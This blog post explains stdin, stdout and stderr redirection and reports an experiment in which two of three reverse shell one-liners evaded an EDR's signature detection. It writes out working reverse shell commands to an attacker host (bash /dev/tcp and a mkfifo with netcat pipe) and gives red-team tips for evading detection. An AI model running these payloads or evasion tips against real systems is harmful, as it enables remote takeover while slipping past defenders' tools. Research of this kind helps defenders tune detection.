"Have you ever wondered why a slightly different reverse shell command might bypass security controls?"

On my previous post on X, while I was testing malware against Endpoint Detection and Response systems, I found something interesting. A standard reverse shell payload from PayloadAllTheThings was quickly detected, but two other payloads from the same source that do the same thing went unnoticed. This post explains what I found, looking into how file descriptor redirection works and the key difference between signature-based detection and behavior-based detection in today's security tools.

Understanding what is stdout & stderr:

In Unix/Linux systems, every process has three standard File Descriptors (FDs) by default:

Linux File Descriptors

0
STDIN (FD 0)
Standard Input
1
STDOUT (FD 1)
Standard Output
2
STDERR (FD 2)
Standard Error

Every process in Unix/Linux starts with three default channels known as stdin, stdout, and stderr.

Standard Input (stdin):
  • File descriptor number: 0
  • What it is: where the program reads data from. By default, this is your keyboard, but it can be redirected from a file or another process
  • Example: cat < file.txt
Standard Output (stdout):
  • File descriptor number: 1
  • What it is: where the program writes its normal results. By default, this shows up in your terminal, but you can redirect it into a file or pipe it into another program
  • Example: echo "Hello" > out.txt
Standard Error (stderr):
  • File descriptor number: 2
  • What it is: where the program sends error messages. It also shows in your terminal by default, but it remains separate from stdout so you can capture errors without mixing them into normal output
  • Example: ls no_such_file 2> errors.log

Why separate channels? This design lets you redirect or pipe each one independently. For example: ls >out.txt 2>errors.txt saves successful output into one file while errors are logged in another. In reverse shells, attackers often remap 0, 1, and 2 all to a network socket to create a fully interactive channel.

A reverse shell is a simple but powerful method attackers use to take control of a system from a distance. Instead of the attacker trying to connect directly to the victim's computer, the victim's computer connects back to the attacker's machine, setting up a way to send and receive commands.

Reverse Shell
  • What it is: A shell session where the target machine connects back to the attacker’s system.
  • What it does: Redirects the target’s stdin, stdout, and stderr through a network socket for interactive command execution.
  • How it works: The compromised host opens an outbound connection to the attacker’s listener (often bypassing NAT/firewalls that allow outbound traffic).
  • Example flow:
    1

    Attacker listens: nc -nlvp 10.0.0.1:4242

    2

    Victim runs a payload that connects back to the attacker

    3

    The victim’s shell dials out to the attacker

    4

    Attacker gains an interactive shell over TCP

Reverse Shell vs Bind Shell

Reverse Shell

  • Target initiates the connection
  • Easier to bypass firewalls
  • Attacker needs a listener ready
  • More common in modern attacks

Bind Shell

  • Attacker initiates the connection
  • Often blocked by firewalls
  • Target needs a listener running
  • Less common today

With the fundamentals of stdout, stderr, redirection, and reverse shells in place, we can finally turn to the experiment. Let’s break down why one command triggered detection while the others managed to slip through.

The Experiment: Testing EDR

Disclaimer: I have conducted this research in a controlled lab environment for educational purposes. All techniques are shared to help defenders improve their security posture. Always ensure you have explicit permission before testing on any system.

Understanding Each Command

Flagged Payload:

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
  • bash -i → launches an interactive bash shell.
  • >& /dev/tcp/10.0.0.1/4242 → redirects both stdout and stderr to a TCP socket at 10.0.0.1:4242.
  • 0>&1 → ties stdin into the same socket, making the shell interactive.

Behavior: Immediately creates a full interactive session over TCP using Bash’s built-in /dev/tcp.
Why flagged: The >& + /dev/tcp pattern is a well-known reverse shell signature used in countless cheat sheets.

Unflagged Payload:

/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
  • /bin/bash -l → launches bash as a login shell (slightly different process profile).
  • > /dev/tcp/10.0.0.1/4242 → sends stdout to the TCP socket only.
  • 0<&1 → maps stdin from the socket connection.
  • 2>&1 → merges stderr into stdout (also going to the socket).

Behavior: Builds the same fully interactive shell, but assembles the redirections step by step.
Why missed: The syntax order is less common and doesn’t match the “classic” signature pattern.

Unflagged Payload (FIFO + Netcat):

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 >/tmp/f
  • rm -f /tmp/f → deletes any previous FIFO named /tmp/f.
  • mkfifo /tmp/f → creates a named pipe to act as a data channel.
  • cat /tmp/f | /bin/sh -i → takes input from the FIFO and feeds it into an interactive shell.
  • 2>&1 → merges stderr into stdout.
  • | nc 10.0.0.1 4242 → uses netcat to send output to the attacker over TCP.
  • >/tmp/f → routes input from netcat back into the FIFO, closing the loop.

Behavior: Creates a bidirectional channel using a named pipe and netcat, bypassing Bash’s /dev/tcp feature entirely.


View Demo

Summary of the Test

All three payloads achieved the same outcome; a fully interactive reverse shell. What made the difference was not what they did, but how they looked syntactically, which will be explained in the table below t

Payload Technique Detection Result
bash -i >& /dev/tcp/... 0>&1 Classic /dev/tcp redirection (stdout+stderr → socket) Flagged (signature match)
/bin/bash -l > /dev/tcp/... 0<&1 2>&1 Step-by-step redirections (stdout first, then stdin/stderr) Not flagged (syntax evasion)
mkfifo + nc + sh Named pipe + netcat instead of /dev/tcp Not flagged (different toolchain)
Final takeaway: Functionally, all three commands do the same thing; they remap stdin, stdout, and stderr into a network socket.

Implications for Security Teams

For Blue Teams (Defenders)

Relying solely on signature-based detection is insufficient. To improve security posture:

  • Enable behavioral analysis features in your EDR
  • Write custom detection rules focusing on behaviors rather than patterns
  • Regularly test your defenses with varied techniques
  • Monitor for suspicious parent-child process relationships

For Red Teams (Attackers)

Understanding the underlying mechanics of detection evasion is crucial:

  • Avoid well-known patterns and signatures
  • Use less common syntax and utilities
  • Consider using custom encoders or obfuscation techniques
  • Always test techniques against target security controls

Conclusion

Minor changes in the way code is written can make a big difference in how well security tools detect threats, because many endpoint detection and response systems still rely a lot on fixed patterns. The examples I tested with reverse shells show that security tools might not catch harmful actions if attackers use unusual ways of writing code or tools that aren't commonly used. As endpoint detection and response tools improve and begin to utilize more behavior-based analysis, attackers will also develop new methods. This ongoing battle between defenders and attackers means understanding how these systems work is key for both sides.